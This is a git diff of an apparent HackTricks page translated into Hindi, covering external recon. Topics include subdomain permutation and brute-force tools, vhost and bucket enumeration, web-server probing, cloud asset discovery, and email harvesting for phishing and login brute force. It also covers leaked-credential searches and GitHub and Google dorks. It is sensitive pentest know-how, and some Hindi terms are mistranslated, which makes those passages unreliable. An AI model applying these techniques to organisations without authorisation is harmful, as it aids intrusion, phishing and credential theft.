* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** डोमेन और सबडोमेन्स दिए गए परिमुटेशन उत्पन्न करें।
|
||||
* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** डोमेन और सबडोमेन्स दिए गए परिमाणों का उत्पादन करें।
|
||||
```bash
|
||||
cat subdomains.txt | dnsgen -
|
||||
```
|
||||
* [**goaltdns**](https://github.com/subfinder/goaltdns): डोमेन और सबडोमेन दिए गए परिमुटेशन उत्पन्न करें।
|
||||
* आप यहाँ [**वर्डलिस्ट**](https://github.com/subfinder/goaltdns/blob/master/words.txt) में goaltdns परिमुटेशन प्राप्त कर सकते हैं।
|
||||
* [**goaltdns**](https://github.com/subfinder/goaltdns): डोमेन और सबडोमेन दिए गए परिपत्रन उत्पन्न करें।
|
||||
* आप यहाँ [**वर्डलिस्ट**](https://github.com/subfinder/goaltdns/blob/master/words.txt) में goaltdns परिपत्रन प्राप्त कर सकते हैं।
|
||||
```bash
|
||||
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
|
||||
```
|
||||
* [**gotator**](https://github.com/Josue87/gotator)**:** डोमेन और सबडोमेन दिए गए परिपत्रों का उत्पादन करें। यदि कोई परिपत्र फ़ाइल निर्दिष्ट नहीं की गई है तो gotator अपनी खुद की एक का उपयोग करेगा।
|
||||
* [**gotator**](https://github.com/Josue87/gotator)**:** डोमेन और सबडोमेन दिए गए परिमुटेशन उत्पन्न करें। अगर कोई परिमुटेशन फ़ाइल नहीं दी गई है तो gotator अपनी खुद की फ़ाइल का उपयोग करेगा।
|
||||
```
|
||||
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
|
||||
```
|
||||
* [**altdns**](https://github.com/infosec-au/altdns): सबडोमेन परिमुटेशन उत्पन्न करने के अलावा, यह उन्हें सुलझाने की कोशिश भी कर सकता है (लेकिन पिछले टिप्पणीत किए गए उपकरणों का उपयोग करना बेहतर है)।
|
||||
* [**altdns**](https://github.com/infosec-au/altdns): सबडोमेन परिमुटेशन उत्पन्न करने के अलावा, यह उन्हें सुलझाने की कोशिश भी कर सकता है (लेकिन पिछले टिप्पणित उपकरणों का उपयोग करना बेहतर है)।
|
||||
* आप यहाँ [**यहाँ**](https://github.com/infosec-au/altdns/blob/master/words.txt) altdns परिमुटेशन **वर्डलिस्ट** प्राप्त कर सकते हैं।
|
||||
```
|
||||
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
|
||||
```
|
||||
* [**dmut**](https://github.com/bp0lr/dmut): एक औजार जो subdomains की permutations, mutations और alteration करने के लिए है। यह औजार brute force करेगा परिणाम (यह dns wild card का समर्थन नहीं करता)।
|
||||
* आप dmut permutations wordlist [**यहाँ**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt) में प्राप्त कर सकते हैं।
|
||||
* [**dmut**](https://github.com/bp0lr/dmut): एक औजार जो सबडोमेन की संवर्धन, म्युटेशन और परिवर्तन करने के लिए है। यह औजार परिणाम को ब्रूट फोर्स करेगा (यह डीएनएस वाइल्ड कार्ड का समर्थन नहीं करता)।
|
||||
* आप dmut permutations वर्डलिस्ट [**यहाँ**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt) में प्राप्त कर सकते हैं।
|
||||
```bash
|
||||
cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
|
||||
--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt
|
||||
```
|
||||
* [**alterx**](https://github.com/projectdiscovery/alterx)**:** एक डोमेन पर आधारित है जो **नए संभावित सबडोमेन नाम** उत्पन्न करता है जो निर्दिष्ट पैटर्न के आधार पर अधिक सबडोमेन खोजने की कोशिश करता है।
|
||||
|
||||
#### स्मार्ट परिमाण उत्पादन
|
||||
#### स्मार्ट परिमुटेशन जनरेशन
|
||||
|
||||
* [**regulator**](https://github.com/cramppet/regulator): अधिक जानकारी के लिए इस [**पोस्ट**](https://cramppet.github.io/regulator/index.html) को पढ़ें लेकिन यह मुख्य रूप से **खोजे गए सबडोमेन** से **मुख्य भाग** प्राप्त करेगा और उन्हें मिश्रित करेगा ताकि अधिक सबडोमेन मिल सकें।
|
||||
```bash
|
||||
|
@ -416,7 +418,7 @@ python3 main.py adobe.com adobe adobe.rules
|
|||
make_brute_list.sh adobe.rules adobe.brute
|
||||
puredns resolve adobe.brute --write adobe.valid
|
||||
```
|
||||
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ एक सबडोमेन ब्रूट-फोर्स फज़र है जिसे एक अत्यधिक सरल लेकिन प्रभावी DNS प्रतिक्रिया-निर्देशित एल्गोरिथ्म के साथ जोड़ा गया है। यह एक विशेषित वर्डलिस्ट या ऐतिहासिक DNS/TLS रिकॉर्ड्स जैसे प्रदत्त इनपुट डेटा का उपयोग करता है, ताकि अधिक संबंधित डोमेन नामों को सटीकता से संशोधित कर सके और DNS स्कैन के दौरान जुटाई गई जानकारी के आधार पर उन्हें और भी अधिक विस्तारित कर सके।
|
||||
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ एक सबडोमेन ब्रूट-फोर्स फज़र है जिसे एक अत्यधिक सरल लेकिन प्रभावी DNS प्रतिक्रिया-निर्देशित एल्गोरिथ्म के साथ जोड़ा गया है। यह एक विशेष वर्डलिस्ट या ऐतिहासिक DNS/TLS रिकॉर्ड्स जैसे प्रदत्त इनपुट डेटा सेट का उपयोग करता है, ताकि अधिक संबंधित डोमेन नामों को सटीकता से संश्लेषित कर सके और DNS स्कैन के दौरान जुटाई गई जानकारी के आधार पर उन्हें और भी विस्तारित कर सके।
|
||||
```
|
||||
echo www | subzuf facebook.com
|
||||
```
|
||||
|
@ -428,13 +430,13 @@ echo www | subzuf facebook.com
|
|||
|
||||
{% embed url="https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
### **वीहोस्ट / वर्चुअल होस्ट्स**
|
||||
### **VHosts / वर्चुअल होस्ट्स**
|
||||
|
||||
अगर आपने किसी आईपी पते को पाया है जिसमें **एक या कई वेब पेज** सबडोमेन के साथ हैं, तो आप **उस आईपी में अन्य सबडोमेन ढूंढने** की कोशिश कर सकते हैं जिनमें वेब होस्ट हैं, या **उस आईपी में Vहोस्ट डोमेन नामों को ब्रूट-फ़ोर्स करके** ढूंढ सकते हैं।
|
||||
अगर आपने किसी आईपी पते को पाया है जिसमें **एक या कई वेब पेज्स** सबडोमेन के साथ हैं, तो आप **उस आईपी में अन्य सबडोमेन खोज सकते हैं** जिनमें वेब्स हैं, डोमेन्स के लिए **ओएसआईएनटी स्रोतों** में देखकर या **उस आईपी में VHost डोमेन नामों को ब्रूट-फ़ोर्सिंग** करके।
|
||||
|
||||
#### OSINT
|
||||
#### ओएसआईएनटी
|
||||
|
||||
आप कुछ **आईपी में वीहोस्ट्स खोज सकते हैं** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **या अन्य एपीआई का उपयोग करके**।
|
||||
आप कुछ **आईपी में VHosts को खोज सकते हैं** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **या अन्य एपीआई का उपयोग करके**।
|
||||
|
||||
**ब्रूट फ़ोर्स**
|
||||
|
||||
|
@ -465,117 +467,117 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http:
|
|||
### **बकेट्स ब्रूट फोर्स**
|
||||
|
||||
**सबडोमेन्स** की खोज करते समय ध्यान रखें कि क्या यह किसी प्रकार के **बकेट** को **पॉइंट** कर रहा है, और उस मामले में [**अनुमतियों की जांच करें**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
|
||||
इसके अलावा, इस समय आपको यह पता चल जाएगा कि दायरे में सभी डोमेन्स क्या हैं, इसलिए [**संभावित बकेट नामों को ब्रूट फोर्स करें और अनुमतियों की जांच करें**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||
इसके अलावा, इस समय आपको यह पता चल जाएगा कि दायरा में सभी डोमेन्स के अंदर कौन-कौन से हैं, इसलिए [**संभावित बकेट नामों को ब्रूट फोर्स करें और अनुमतियों की जांच करें**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||
|
||||
### **मॉनिटरिज़ेशन**
|
||||
### **मॉनिटरिजेशन**
|
||||
|
||||
आप यह देख सकते हैं कि क्या किसी डोमेन के **नए सबडोमेन्स** तैयार किए गए हैं, **सर्टिफिकेट ट्रांसपेरेंसी** लॉग्स [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py) के द्वारा किया जा सकता है।
|
||||
आप देख सकते हैं कि क्या किसी डोमेन के **नए सबडोमेन्स** तैयार किए जा रहे हैं, **सर्टिफिकेट ट्रांसपेरेंसी** लॉग्स [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py) के द्वारा किया जा सकता है।
|
||||
|
||||
### **वंर्णन की खोज**
|
||||
### **वंर्लनरेबिलिटीज़ की खोज**
|
||||
|
||||
संभावित [**सबडोमेन टेकओवर**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover) के लिए जांच करें।\
|
||||
संभावित [**सबडोमेन टेकओवर्स**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover) के लिए जांच करें।\
|
||||
अगर **सबडोमेन** किसी **S3 बकेट** को पॉइंट कर रहा है, तो [**अनुमतियों की जांच करें**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||
|
||||
अगर आपको किसी **सबडोमेन** मिलता है जिसका आईपी पहले से ही आपके द्वारा खोजे गए जोनों से अलग है, तो आपको एक **बुनियादी सुरक्षा स्कैन** (Nessus या OpenVAS का उपयोग करके) और कुछ [**पोर्ट स्कैन**](../pentesting-network/#discovering-hosts-from-the-outside) जैसे **nmap/masscan/shodan** के साथ करना चाहिए। चल रही सेवाओं पर आपको **इस पुस्तक में कुछ ट्रिक्स मिल सकती हैं जिनका उपयोग करके उन्हें "हमला" कर सकते हैं**।\
|
||||
_ध्यान दें कि कभी-कभी सबडोमेन एक ऐसे आईपी पर होस्ट किया जाता है जिस पर ग्राहक का नियंत्रण नहीं है, इसलिए यह दायरे में नहीं है, सावधान रहें।_
|
||||
अगर आपको assets discovery में पहले से पता चले डोमेन्स के अंदर से किसी **अलग IP वाला सबडोमेन** मिलता है, तो आपको एक **बेसिक वंर्लनरेबिलिटी स्कैन** (Nessus या OpenVAS का उपयोग करके) और कुछ [**पोर्ट स्कैन**](../pentesting-network/#discovering-hosts-from-the-outside) जैसे **nmap/masscan/shodan** के साथ करना चाहिए। चल रही सेवाओं पर आपको **इस किताब में कुछ ट्रिक्स मिल सकती हैं जिनका उपयोग करके उन्हें "हमला" कर सकते हैं**।\
|
||||
_ध्यान दें कि कभी-कभी सबडोमेन एक ऐसे आईपी के अंदर होस्ट किया जा रहा है जिस पर ग्राहक का नियंत्रण नहीं है, इसलिए यह दायरे में नहीं है, सावधान रहें._
|
||||
|
||||
## आईपी
|
||||
|
||||
प्रारंभिक चरणों में आपने **कुछ आईपी रेंज, डोमेन और सबडोमेन्स** खोज लिए हो सकता है।\
|
||||
अब उन रेंजों से सभी आईपी और **डोमेन/सबडोमेन्स (DNS क्वेरीज़)** को पुनः एकत्र करने का समय है।
|
||||
प्रारंभिक चरणों में आपने **कुछ आईपी रेंज, डोमेन और सबडोमेन्स** पाए होंगे।\
|
||||
अब यह समय है कि आप उन रेंजों से **सभी आईपी एकत्र करें** और **डोमेन/सबडोमेन्स (DNS क्वेरीज़)** के लिए।
|
||||
|
||||
निम्नलिखित **मुफ्त एपीआई** सेवाओं का उपयोग करके आप डोमेन और सबडोमेन्स द्वारा पहले उपयोग किए गए आईपी भी खोज सकते हैं। ये आईपी अब भी ग्राहक के पास हो सकते हैं (और आपको [**क्लाउडफ्लेयर बाइपास**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md) खोजने की अनुमति देने की संभावना है)
|
||||
निम्नलिखित **मुफ्त एपीआई** सेवाओं का उपयोग करके आप डोमेन और सबडोमेन्स द्वारा पहले उपयोग किए गए आईपी भी खोज सकते हैं। ये आईपी अब भी ग्राहक के पास हो सकते हैं (और आपको [**CloudFlare बाइपास**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md) खोजने की अनुमति देने की संभावना है)
|
||||
|
||||
* [**https://securitytrails.com/**](https://securitytrails.com/)
|
||||
|
||||
आप टूल [**hakip2host**](https://github.com/hakluke/hakip2host) का उपयोग करके किसी विशिष्ट आईपी पते पर पॉइंट करने वाले डोमेन की जांच भी कर सकते हैं।
|
||||
आप टूल [**hakip2host**](https://github.com/hakluke/hakip2host) का उपयोग करके एक विशिष्ट आईपी पते पर पॉइंट करने वाले डोमेन्स की जांच भी कर सकते हैं।
|
||||
|
||||
### **वंर्णन की खोज**
|
||||
### **वंर्लनरेबिलिटीज़ की खोज**
|
||||
|
||||
**CDN को नहीं सम्मिलित करने वाली सभी आईपी को पोर्ट स्कैन करें** (क्योंकि आपको वहां कुछ भी दिलचस्प नहीं मिलेगा)। चल रही सेवाओं में खोजे गए आप **संभावना है कि आप वंर्णन कर सकते हैं**।
|
||||
**CDNs के नहीं होने वाली सभी आईपी को पोर्ट स्कैन करें** (क्योंकि आपको वहां कुछ भी दिलचस्प नहीं मिलेगा)। चल रही सेवाओं में पाए जाने पर आप **वंर्लनरेबिलिटीज़ खोज सकते हैं**।
|
||||
|
||||
**होस्ट स्कैन करने के लिए** [**गाइड**](../pentesting-network/) **खोजें।**
|
||||
|
||||
## वेब सर्वर्स हंटिंग
|
||||
|
||||
> हमने सभी कंपनियों और उनके संपत्तियों को खोज लिया है और हमें दायरे में आईपी रेंज, डोमेन और सबडोमेन्स पता है। अब वेब सर्वर्स की खोज करने का समय है।
|
||||
> हमने सभी कंपनियों और उनके संपत्तियों को खोज लिया है और हमें दायरा में आईपी रेंज, डोमेन और सबडोमेन्स के बारे में पता चल गया है। अब वेब सर्वर्स की खोज करने का समय है।
|
||||
|
||||
पिछले चरणों में आपने संदर्भ में आईपी और डोमेन की **विवरण की खोज** की हो सकती है, इसलिए आपने **संभावित वेब सर्वर्स** पहले ही पाए हो सकते हैं। हालांकि, अगर आपने नहीं किया है तो हम अब देखेंगे कि वेब सर्वर्स की खोज के लिए कुछ **तेज ट्रिक्स** हैं।
|
||||
पिछले कदमों में आपने संदर्भित आईपी और डोमेन की **रिकॉन की होगी**, इसलिए आपने **संभावित वेब सर्वर्स** पहले से ही पता कर लिया होगा। हालांकि, अगर आपने नहीं किया है तो हम अब देखेंगे कुछ **तेज़ ट्रिक्स जिनसे वेब सर्वर्स की खोज की जा सकती है** दायरा के अंदर।
|
||||
|
||||
कृपया ध्यान दें कि यह **वेब ऐप्स खोज के लिए अभिविन्यासित** होगा, इसलिए आपको **यदि स्कोप द्वारा अनुमति दी गई है** तो **वंर्णन** और **पोर्ट स्कैनिंग** भी करनी चाहिए।
|
||||
कृपया ध्यान दें कि यह **वेब ऐप्स खोज के लिए अभिवृत्त होगा**, इसलिए आपको **वंर्लनरेबिलिटी** और **पोर्ट स्कैनिंग** भी करनी चाहिए (**यदि दायरे की अनुमति है**).
|
||||
|
||||
**वेब** सर्वर्स से संबंधित **खुले पोर्ट्स** खोजने के लिए [**masscan** यहाँ पाया जा सकता है](../pentesting-network/#http-port-discovery)।\
|
||||
एक और मित्रशील टूल वेब सर्वर्स के लिए खोजने के लिए [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) और [**httpx**](https://github.com/projectdiscovery/httpx) है। आप एक डोमेन की सूची पास करेंगे और यह 80 (http) और 443 (https) पोर्ट से कनेक्ट करने की कोशिश करेगा। इसके अतिरिक्त, आप अन्य पोर्ट की कोशिश करने के लिए संकेत कर सकते हैं:
|
||||
[**masscan का उपयोग करके वेब सर्वर्स से संबंधित खुले पोर्ट्स खोजने का तेज़ तरीका यहाँ मिल सकता है**](../pentesting-network/#http-port-discovery)।\
|
||||
एक और दोस्ताना टूल वेब सर्वर्स की खोज के लिए [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) और [**httpx**](https://github.com/projectdiscovery/httpx) है। आप एक डोमेन्स की सूची पास करेंगे और यह कोशिश करेंगे कि पोर्ट 80 (http) और 443 (https) से कनेक्ट करें। इसके अतिरिक्त, आप दूसरे पोर्ट्स की कोशिश करने का भी संकेत कर सकते हैं:
|
||||
```bash
|
||||
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
|
||||
cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
|
||||
```
|
||||
### **स्क्रीनशॉट्स**
|
||||
|
||||
अब जब आपने स्कोप में मौजूद **सभी वेब सर्वर** (कंपनी के **IPs** और सभी **डोमेन** और **सबडोमेन्स** के बीच) का पता लगा लिया है, तो आपको शायद **शुरू कहाँ से करें** यह पता नहीं होगा। इसलिए, आइए इसे सरल बनाते हैं और सभी का स्क्रीनशॉट लेने की शुरुआत करें। **मुख्य पृष्ठ** पर एक नजर डालकर आप **अजीब** एंडपॉइंट्स खोज सकते हैं जो अधिक **वंशी** होने के **योग्य** हैं।
|
||||
अब जब आपने स्कोप में मौजूद **सभी वेब सर्वर** (कंपनी के **IPs** और सभी **डोमेन** और **सबडोमेन्स** के बीच) का पता लगा लिया है, तो आपको शायद **शुरू कहाँ से करें** यह पता नहीं होगा। इसलिए, आइए इसे सरल बनाते हैं और सभी का स्क्रीनशॉट लेने की शुरुआत करें। **मुख्य पृष्ठ** पर एक नजर डालकर आप **अजीब** एंडपॉइंट्स खोज सकते हैं जो अधिक **वंशीय** हो सकते हैं।
|
||||
|
||||
प्रस्तावित विचार को कार्यान्वित करने के लिए आप [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/) या [**webscreenshot**](https://github.com/maaaaz/webscreenshot) का उपयोग कर सकते हैं।
|
||||
|
||||
इसके अतिरिक्त, आप फिर [**eyeballer**](https://github.com/BishopFox/eyeballer) का उपयोग कर सकते हैं ताकि वह सभी **स्क्रीनशॉट्स** पर चले और आपको बताए कि **किसमें संभावित दोष** है, और क्या नहीं।
|
||||
इसके अतिरिक्त, आप फिर [**eyeballer**](https://github.com/BishopFox/eyeballer) का उपयोग कर सकते हैं ताकि वह सभी **स्क्रीनशॉट्स** पर चलकर आपको बता सके कि क्या **संभावना है कि वे वंशीय हों**, और क्या नहीं।
|
||||
|
||||
## सार्वजनिक क्लाउड संपत्तियाँ
|
||||
|
||||
किसी कंपनी की संभावित क्लाउड संपत्तियों का पता लगाने के लिए आपको उस कंपनी की पहचान करने वाले शब्दों की सूची के साथ शुरुआत करनी चाहिए। उदाहरण के लिए, एक क्रिप्टो कंपनी के लिए आप शब्दों का उपयोग कर सकते हैं जैसे: `"क्रिप्टो", "वॉलेट", "डाओ", "<डोमेन_नाम>", <"सबडोमेन_नाम">`।
|
||||
किसी कंपनी की संभावित क्लाउड संपत्तियों का पता लगाने के लिए आपको उस कंपनी को पहचानने वाले शब्दों की एक सूची के साथ शुरुआत करनी चाहिए। उदाहरण के लिए, एक क्रिप्टो कंपनी के लिए आप शब्दों का उपयोग कर सकते हैं जैसे: `"क्रिप्टो", "वॉलेट", "डाओ", "<डोमेन_नाम>", <"सबडोमेन_नाम">`।
|
||||
|
||||
आपको उन सामान्य शब्दों की सूचियों की आवश्यकता होगी जो बकेट्स में उपयोग किए जाते हैं:
|
||||
आपको बाल्टों में प्रयुक्त **सामान्य शब्दों** की एक शब्दसूची की आवश्यकता होगी:
|
||||
|
||||
* [https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt](https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt)
|
||||
* [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
|
||||
* [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt)
|
||||
|
||||
फिर, उन शब्दों का उत्पादन करना चाहिए जिनसे आप **अनुक्रमण** कर सकते हैं (अधिक जानकारी के लिए [**दूसरे दिनांक ब्रूट-फोर्स**](./#second-dns-bruteforce-round) की जाँच करें)।
|
||||
फिर, उन शब्दों के संयोजन उत्पन्न करने चाहिए (अधिक जानकारी के लिए [**दूसरे दौर DNS ब्रूट-फोर्स**](./#second-dns-bruteforce-round) की जाँच करें)।
|
||||
|
||||
परिणामी शब्द सूचियों के साथ आप [**cloud\_enum**](https://github.com/initstring/cloud\_enum), [**CloudScraper**](https://github.com/jordanpotti/CloudScraper), [**cloudlist**](https://github.com/projectdiscovery/cloudlist) या [**S3Scanner**](https://github.com/sa7mon/S3Scanner) जैसे उपकरणों का उपयोग कर सकते हैं।
|
||||
नतीजतन शब्दसूचियों के साथ आप [**cloud\_enum**](https://github.com/initstring/cloud\_enum), [**CloudScraper**](https://github.com/jordanpotti/CloudScraper), [**cloudlist**](https://github.com/projectdiscovery/cloudlist) या [**S3Scanner**](https://github.com/sa7mon/S3Scanner) जैसे उपकरणों का उपयोग कर सकते हैं।
|
||||
|
||||
ध्यान दें कि क्लाउड संपत्तियों की खोज करते समय आपको **AWS में बकेट्स** के अलावा भी देखना चाहिए।
|
||||
ध्यान दें कि क्लाउड संपत्तियों की खोज करते समय आपको **AWS में बाल्टों** के अलावा भी देखना चाहिए।
|
||||
|
||||
### **दोषों की खोज**
|
||||
### **वंशीयताओं की खोज**
|
||||
|
||||
यदि आपको **खुले बकेट्स या क्लाउड फंक्शन उजागर** जैसी चीजें मिलती हैं, तो आपको उन्हें **पहुंचना** चाहिए और देखने की कोशिश करनी चाहिए कि वे आपको क्या प्रदान करते हैं और क्या आप उनका दुरुपयोग कर सकते हैं।
|
||||
यदि आपको **खुले बाल्टों या क्लाउड फंक्शन उजागर** जैसी चीजें मिलती हैं, तो आपको उन्हें **एक्सेस** करना चाहिए और देखने की कोशिश करनी चाहिए कि वे आपको क्या प्रदान करते हैं और क्या आप उनका दुरुपयोग कर सकते हैं।
|
||||
|
||||
## ईमेल
|
||||
|
||||
स्कोप में मौजूद **डोमेन** और **सबडोमेन** के साथ आपके पास आम तौर पर उस कंपनी के ईमेल खोजने के लिए सभी वह है जो आपको **खोजने की आवश्यकता है**। ये हैं उन **APIs** और **उपकरण** जो मेरे लिए सबसे अच्छे काम कर चुके हैं ईमेल खोजने के लिए:
|
||||
स्कोप में मौजूद **डोमेन** और **सबडोमेन** के साथ आपके पास आम तौर पर ईमेल खोजने के लिए सभी वह है जो आपको **आरंभ करने के लिए चाहिए**। ये हैं उन **APIs** और **उपकरण** जो मेरे लिए सबसे अच्छे काम कर चुके हैं ईमेल खोजने के लिए:
|
||||
|
||||
* [**theHarvester**](https://github.com/laramies/theHarvester) - APIs के साथ
|
||||
* [**https://hunter.io/**](https://hunter.io/) (नि:शुल्क संस्करण) का API
|
||||
* [**https://app.snov.io/**](https://app.snov.io/) (नि:शुल्क संस्करण) का API
|
||||
* [**https://minelead.io/**](https://minelead.io/) (नि:शुल्क संस्करण) का API
|
||||
* [**theHarvester**](https://github.com/laramies/theHarvester) - एपीआई के साथ
|
||||
* [**https://hunter.io/**](https://hunter.io/) का एपीआई (नि:शुल्क संस्करण)
|
||||
* [**https://app.snov.io/**](https://app.snov.io/) का एपीआई (नि:शुल्क संस्करण)
|
||||
* [**https://minelead.io/**](https://minelead.io/) का एपीआई (नि:शुल्क संस्करण)
|
||||
|
||||
### **दोषों की खोज**
|
||||
### **वंशीयताओं की खोज**
|
||||
|
||||
ईमेल बाद में **वेब लॉगिन और प्रमाणीकरण सेवाओं के लिए ब्रूट-फोर्स** (जैसे SSH) करने के लिए उपयोगी होंगे। इसके अतिरिक्त, ये **फिशिंग** के लिए आवश्यक हैं। इसके अतिरिक्त, ये APIs आपको ईमेल के पीछे व्यक्ति के बारे में और अधिक **जानकारी** देंगे, जो फिशिंग अभियान के लिए उपयोगी है।
|
||||
ईमेल बाद में **वेब लॉगिन और प्रमाणीकरण सेवाओं के लिए ब्रूट-फोर्स** (जैसे SSH) करने के लिए उपयोगी होंगे। इसके अतिरिक्त, ये **फिशिंग** के लिए आवश्यक हैं। इसके अतिरिक्त, ये एपीआई आपको ईमेल के पीछे व्यक्ति के बारे में और अधिक **जानकारी** देंगे, जो फिशिंग अभियान के लिए उपयोगी है।
|
||||
|
||||
## प्रमाण पत्र लीक
|
||||
## प्रमाणक लीक
|
||||
|
||||
**डोमेन,** **सबडोमेन** और **ईमेल** के साथ आप उन ईमेलों के लिए लीक होने वाले प्रमाण पत्र खोजना शुरू कर सकते हैं जो इन ईमेलों के स्वामित्व में गुजरे हों:
|
||||
**डोमेन,** **सबडोमेन,** और **ईमेल** के साथ आप उन ईमेलों के लिए लीक हुए प्रमाणकों की खोज शुरू कर सकते हैं जो पिछले में उन ईमेलों के नामांकन करते थे:
|
||||
|
||||
* [https://leak-lookup.com](https://leak-lookup.com/account/login)
|
||||
* [https://www.dehashed.com/](https://www.dehashed.com/)
|
||||
|
||||
### **दोषों की खोज**
|
||||
### **वंशीयताओं की खोज**
|
||||
|
||||
यदि आप **मान्य लीक** प्रमाण पत्र मिलते हैं, तो यह बहुत ही आसान जीत है।
|
||||
यदि आप **मान्य लीक** प्रमाणक पाते हैं, तो यह बहुत ही आसान जीत है।
|
||||
|
||||
## रहस्य लीक
|
||||
|
||||
प्रमाण पत्र लीक कंपनियों के हैक से संबंधित होते हैं जहां **संवेदनशील जानकारी लीक और बेची गई** थी। हालांकि, कंपनियों को **अन्य लीक** से प्रभावित किया जा सकता है जिनकी जानकारी उन डेटाबेसों में नहीं है:
|
||||
**डोमेन,** **सबडोमेन,** और **ईमेल** के साथ आप उन लीक हुए प्रमाणकों की खोज शुरू कर सकते हैं जो कंपनियों के हैं जिनकी **संवेदनशील जानकारी लीक हो गई और बेची गई**।
|
||||
|
||||
### गिटहब लीक
|
||||
### Github लीक
|
||||
|
||||
प्रमाण पत्र और API कंपनी के **सार्वजनिक रिपॉजिटरी** या उस गिटहब कंपनी के काम करने वाले **उपयोगकर्ताओं** के सार्वजनिक रिपॉजिटरी में लीक हो सकते हैं।\
|
||||
आप उपकरण [**Leakos**](https://github.com/carlospolop/Leakos) का उपयोग कर सकते हैं ताकि आप एक संगठन और उसके डेवलपर्स के सभी **सार्वजनिक रेपो** को **डाउनलोड** कर सकें और उन पर [**gitleaks**](https://github.com/zricethezav/gitleaks) को स्वचालित रूप से चला सकें।
|
||||
प्रमाणक और एपीआई गिटहब कंपनी के **सार्वजनिक रिपॉजिटरी** या उस गिटहब कंपनी के **उपयोगकर्ताओं** के सार्वजनिक रिपॉजिटरी में लीक हो सकते हैं।\
|
||||
आप उपकरण [**Leakos**](https://github.com/carlospolop/Leakos) का उपयोग कर सकते हैं एक संगठन की सभी **सार्वजनिक रेपो** और उसके **डेवलपर्स** के सभी रेपो डाउनलोड करने और उन पर स्वचालित रूप से [**gitleaks**](https://github.com/zricethezav/gitleaks) चलाने के लिए।
|
||||
|
||||
**Leakos** का उपयोग भी किया जा सकता है ताकि आप उसे पास किए गए **URLs** पर फिर से **gitleaks** चला सकें क्योंकि कभी-कभी **वेब पृष्ठ भी रहस्य** शामिल करते हैं।
|
||||
**Leakos** का उपयोग भी किया जा सकता है **gitleaks** को फिर से चलाने के लिए सभी **टेक्स्ट** प्रदान किए गए **URLs पर** जैसे कि कभी-कभी **वेब पृष्ठ भी रहस्य समागम** करते हैं।
|
||||
|
||||
#### गिटहब डोर्क्स
|
||||
#### Github Dorks
|
||||
|
||||
आप आक्रमण कर रहे संगठन में खोजने के लिए इस **पृष्ठ** की भी जाँच करें **गिटहब डोर्क्स** के संभावित शब्दों के लिए:
|
||||
आप आक्रमण कर रहे संगठन में खोजने के लिए इस **पृष्ठ** को भी देखें **गिटहब डोर्क्स** के संभावित।
|
||||
|
||||
{% content-ref url="github-leaked-secrets.md" %}
|
||||
[github-leaked-secrets.md](github-leaked-secrets.md)
|
||||
|
@ -584,36 +586,36 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
|
|||
### पेस्ट्स लीक
|
||||
|
||||
कभी-कभी हमलावर या केवल कर्मचारी कंपनी सामग्री को एक पेस्ट साइट में प्रकाशित करेंगे। इसमें **संवेदनशील जानकारी** हो सकती है या नहीं हो सकती है, लेकिन इसे खोजना बहुत दिलचस्प है।\
|
||||
आप उपकरण [**Pastos**](https://github.com/carlospolop/Pastos) का उपयोग कर सकते हैं ताकि आप एक ही समय में 80 से अधिक पेस्ट साइटों में खोज सकें।
|
||||
आप उपकरण [**Pastos**](https://github.com/carlospolop/Pastos) का उपयोग कर सकते हैं एक साथ 80 से अधिक पेस्ट साइटों में खोजने के लिए।
|
||||
|
||||
### गूगल डोर्क्स
|
||||
|
||||
पुराने लेकिन सोने के गूगल डोर्क्स हमेशा उपयोगी होते हैं **उस जानकारी को खोजने के लिए जो वहाँ नहीं होनी चाहिए**। एकमात्र समस्या यह है कि [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) कई हजार संभावित क्वेरी शामिल करता है जिन्हें आप मैन्युअल रूप से नहीं चला सकते। इसलिए, आप अपने पसंदीदा 10 क्वेरी ले सकते हैं या आप उन्हें सभी चलाने के ल
|
||||
